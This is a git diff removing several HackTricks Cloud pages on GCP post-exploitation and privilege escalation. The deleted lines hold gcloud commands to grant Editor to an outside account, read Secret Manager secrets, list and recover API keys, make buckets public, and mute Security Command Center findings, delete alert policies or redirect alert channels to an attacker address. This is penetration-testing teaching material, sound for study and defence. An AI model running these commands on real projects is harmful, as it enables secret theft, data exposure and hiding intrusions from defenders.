-    --network=name=default,reserved-ip-range=10.0.0.0/29
-    
-# Restore a backups in a new instance
-gcloud filestore instances restore <new-instance-name> \
-    --zone=<zone> \
-    --file-share=<instance-file-share-name> \
-    --source-backup=<backup-name> \
-    --source-backup-region=<backup-region>
-
-# Follow the previous section commands to mount it
-```
-
-### Create a backup and restore it
-
-If you **don't have access over a share and don't want to modify it**, it's possible to **create a backup** of it and **restore** it as previously mentioned:
-
-{% code overflow="wrap" %}
-```bash
-# Create share backup
-gcloud filestore backups create <back-name> \
-    --region=<region> \
-    --instance=<instance-name> \
-    --instance-zone=<instance-zone> \
-    --file-share=<share-name>
-
-# Follow the previous section commands to restore it and mount it
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md b/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
deleted file mode 100644
index 4181accdc..000000000
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# GCP - IAM Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
-
-You can find further information about IAM in:
-
-{% content-ref url="../gcp-services/gcp-iam-and-org-policies-enum.md" %}
-[gcp-iam-and-org-policies-enum.md](../gcp-services/gcp-iam-and-org-policies-enum.md)
-{% endcontent-ref %}
-
-### Granting access to management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
-
-Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**.
-
-To **grant** the primitive role of **Owner** to a generic "@gmail.com" account, though, you'll need to **use the web console**. `gcloud` will error out if you try to grant it a permission above Editor.
-
-You can use the following command to **grant a user the primitive role of Editor** to your existing project:
-
-{% code overflow="wrap" %}
-```bash
-gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
-```
-{% endcode %}
-
-If you succeeded here, try **accessing the web interface** and exploring from there.
-
-This is the **highest level you can assign using the gcloud tool**.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md b/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
deleted file mode 100644
index d1ec7ef27..000000000
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
+++ /dev/null
@@ -1,146 +0,0 @@
-# GCP - Monitoring Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Monitoring
-
-Fore more information check:
-
-{% content-ref url="../gcp-services/gcp-monitoring-enum.md" %}
-[gcp-monitoring-enum.md](../gcp-services/gcp-monitoring-enum.md)
-{% endcontent-ref %}
-
-For other ways to disrupt logs check:
-
-{% content-ref url="gcp-logging-post-exploitation.md" %}
-[gcp-logging-post-exploitation.md](gcp-logging-post-exploitation.md)
-{% endcontent-ref %}
-
-### `monitoring.alertPolicies.delete`
-
-Delete an alert policy:
-
-```bash
-gcloud alpha monitoring policies delete <policy>
-```
-
-### `monitoring.alertPolicies.update`
-
-Disrupt an alert policy:
-
-```bash
-# Disable policy
-gcloud alpha monitoring policies update <alert-policy> --no-enabled
-
-# Remove all notification channels
-gcloud alpha monitoring policies update <alert-policy> --clear-notification-channels
-
-# Chnage notification channels
-gcloud alpha monitoring policies update <alert-policy> --set-notification-channels=ATTACKER_CONTROLLED_CHANNEL
-
-# Modify alert conditions
-gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
-# or use --policy-from-file <policy-file>
-```
-
-### `monitoring.dashboards.update`
-
-Modify a dashboard to disrupt it:
-
-```bash
-# Disrupt dashboard
-gcloud monitoring dashboards update <dashboard> --config='''
-  displayName: New Dashboard with New Display Name
-  etag: 40d1040034db4e5a9dee931ec1b12c0d
-  gridLayout:
-    widgets:
-    - text:
-        content: Hello World
-  '''
-```
-
-### `monitoring.dashboards.delete`
-
-Delete a dashboard:
-
-```bash
-# Delete dashboard
-gcloud monitoring dashboards delete <dashboard>
-```
-
-### `monitoring.snoozes.create`
-
-Prevent policies from generating alerts by creating a snoozer:
-
-{% code overflow="wrap" %}
-```bash
-# Stop alerts by creating a snoozer
-gcloud monitoring snoozes create --display-name="Maintenance Week" \
-    --criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
-    --start-time="2023-03-01T03:00:00.0-0500" \
-    --end-time="2023-03-07T23:59:59.5-0500"
-```
-{% endcode %}
-
-### `monitoring.snoozes.update`
-
-Update the timing of a snoozer to prevent alerts from being created when the attacker is interested:
-
-{% code overflow="wrap" %}
-```bash
-# Modify the timing of a snooze
-gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
-
-# odify everything, including affected policies
-gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
-```
-{% endcode %}
-
-### `monitoring.notificationChannels.delete`
-
-Delete a configured channel:
-
-```bash
-# Delete channel
-gcloud alpha monitoring channels delete <channel>
-```
-
-### `monitoring.notificationChannels.update`
-
-Update labels of a channel to disrupt it:
-
-{% code overflow="wrap" %}
-```bash
-# Delete or update labels, for example email channels have the email indicated here
-gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
-gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md b/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
deleted file mode 100644
index d6be15c5f..000000000
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# GCP - Secretmanager Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Secretmanager
-
-For more information about Secret Manager check:
-
-{% content-ref url="../gcp-services/gcp-secrets-manager-enum.md" %}
-[gcp-secrets-manager-enum.md](../gcp-services/gcp-secrets-manager-enum.md)
-{% endcontent-ref %}
-
-### `secretmanager.versions.access`
-
-This give you access to read the secrets from the secret manager and maybe this could help to escalate privielegs (depending on which information is sotred inside the secret):
-
-```bash
-# Get clear-text of version 1 of secret: "<secret name>"
-gcloud secrets versions access 1 --secret="<secret_name>"
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md b/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
deleted file mode 100644
index 745566afa..000000000
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
+++ /dev/null
@@ -1,94 +0,0 @@
-# GCP - Security Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Security
-
-For more information check:
-
-{% content-ref url="../gcp-services/gcp-security-enum.md" %}
-[gcp-security-enum.md](../gcp-services/gcp-security-enum.md)
-{% endcontent-ref %}
-
-### `securitycenter.muteconfigs.create`
-
-Prevent generation of findings that could detect an attacker by creating a `muteconfig`:
-
-{% code overflow="wrap" %}
-```bash
-# Create Muteconfig
-gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
-```
-{% endcode %}
-
-### `securitycenter.muteconfigs.update`
-
-Prevent generation of findings that could detect an attacker by updating a `muteconfig`:
-
-{% code overflow="wrap" %}
-```bash
-# Update Muteconfig
-gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
-```
-{% endcode %}
-
-### `securitycenter.findings.bulkMuteUpdate`
-
-Mute findings based on a filer:
-
-{% code overflow="wrap" %}
-```bash
-# Mute based on a filter
-gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
-```
-{% endcode %}
-
-A muted finding won't appear in the SCC dashboard and reports.
-
-### `securitycenter.findings.setMute`
-
-Mute findings based on source, findings...
-
-{% code overflow="wrap" %}
-```bash
-gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
-```
-{% endcode %}
-
-### `securitycenter.findings.update`
-
-Update a finding to indicate erroneous information:
-
-{% code overflow="wrap" %}
-```bash
-gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
deleted file mode 100644
index 8f1ee1317..000000000
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+++ /dev/null
@@ -1,60 +0,0 @@
-# GCP - Storage Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud Storage
-
-For more information about CLoud Storage check this page:
-
-{% content-ref url="../gcp-services/gcp-storage-enum.md" %}
-[gcp-storage-enum.md](../gcp-services/gcp-storage-enum.md)
-{% endcontent-ref %}
-
-### Give Public Access
-
-It's possible to give external users (logged in GCP or not) access to buckets content. However, by default bucket will have disabled the option to expose publicly a bucket:
-
-```bash
-# Disable public prevention
-gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
-
-# Make all objects in a bucket public
-gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers --role=roles/storage.objectViewer
-## I don't think you can make specific objects public just with IAM
-
-# Make a bucket or object public (via ACL)
-gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
-gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
-```
-
-If you try to give **ACLs to a bucket with disabled ACLs** you will find this error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
-
-To access open buckets via browser, access the URL `https://<bucket_name>.storage.googleapis.com/` or `https://<bucket_name>.storage.googleapis.com/<object_name>`
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md b/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md
deleted file mode 100644
index af354beb0..000000000
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# GCP - Workflows Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Workflow
-
-Basic information:
-
-{% content-ref url="../gcp-services/gcp-workflows-enum.md" %}
-[gcp-workflows-enum.md](../gcp-services/gcp-workflows-enum.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-The post exploitation techniques are actually the same ones as the ones shared in the Workflows Privesc section:
-
-{% content-ref url="../gcp-privilege-escalation/gcp-workflows-privesc.md" %}
-[gcp-workflows-privesc.md](../gcp-privilege-escalation/gcp-workflows-privesc.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
deleted file mode 100644
index b8c3adc3a..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
+++ /dev/null
@@ -1,105 +0,0 @@
-# GCP - Apikeys Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Apikeys
-
-The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
-
-Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.
-
-For more information about API Keys check:
-
-{% content-ref url="../gcp-services/gcp-api-keys-enum.md" %}
-[gcp-api-keys-enum.md](../gcp-services/gcp-api-keys-enum.md)
-{% endcontent-ref %}
-
-For other ways to create API keys check:
-
-{% content-ref url="gcp-serviceusage-privesc.md" %}
-[gcp-serviceusage-privesc.md](gcp-serviceusage-privesc.md)
-{% endcontent-ref %}
-
-### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
-
-As you might not know which APIs are enabled in the project or the restrictions applied to the API key you found, it would be interesting to run the tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**
-
-### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
-
-This permission allows to **create an API key**:
-
-```bash
-gcloud services api-keys create
-Operation [operations/akmf.p7-[...]9] complete. Result: {
-    "@type":"type.googleapis.com/google.api.apikeys.v2.Key",
-    "createTime":"2022-01-26T12:23:06.281029Z",
-    "etag":"W/\"HOhA[...]==\"",
-    "keyString":"AIzaSy[...]oU",
-    "name":"projects/5[...]6/locations/global/keys/f707[...]e8",
-    "uid":"f707[...]e8",
-    "updateTime":"2022-01-26T12:23:06.378442Z"
-}
-```
-
-You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
-
-{% hint style="danger" %}
-Note that by default users have permissions to create new projects adn they are granted Owner role over the new project. So a user could c**reate a project and an API key inside this project**.
-{% endhint %}
-
-### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
-
-These permissions allows **list and get all the apiKeys and get the Key**:
-
-```bash
-for  key  in  $(gcloud services api-keys list --uri); do
-	gcloud services api-keys get-key-string "$key"
-done
-```
-
-You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
-
-### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
-
-These permissions allow you to **list and regenerate deleted api keys**. The **API key is given in the output** after the **undelete** is done:
-
-```bash
-gcloud services api-keys list --show-deleted
-gcloud services api-keys undelete <key-uid>
-```
-
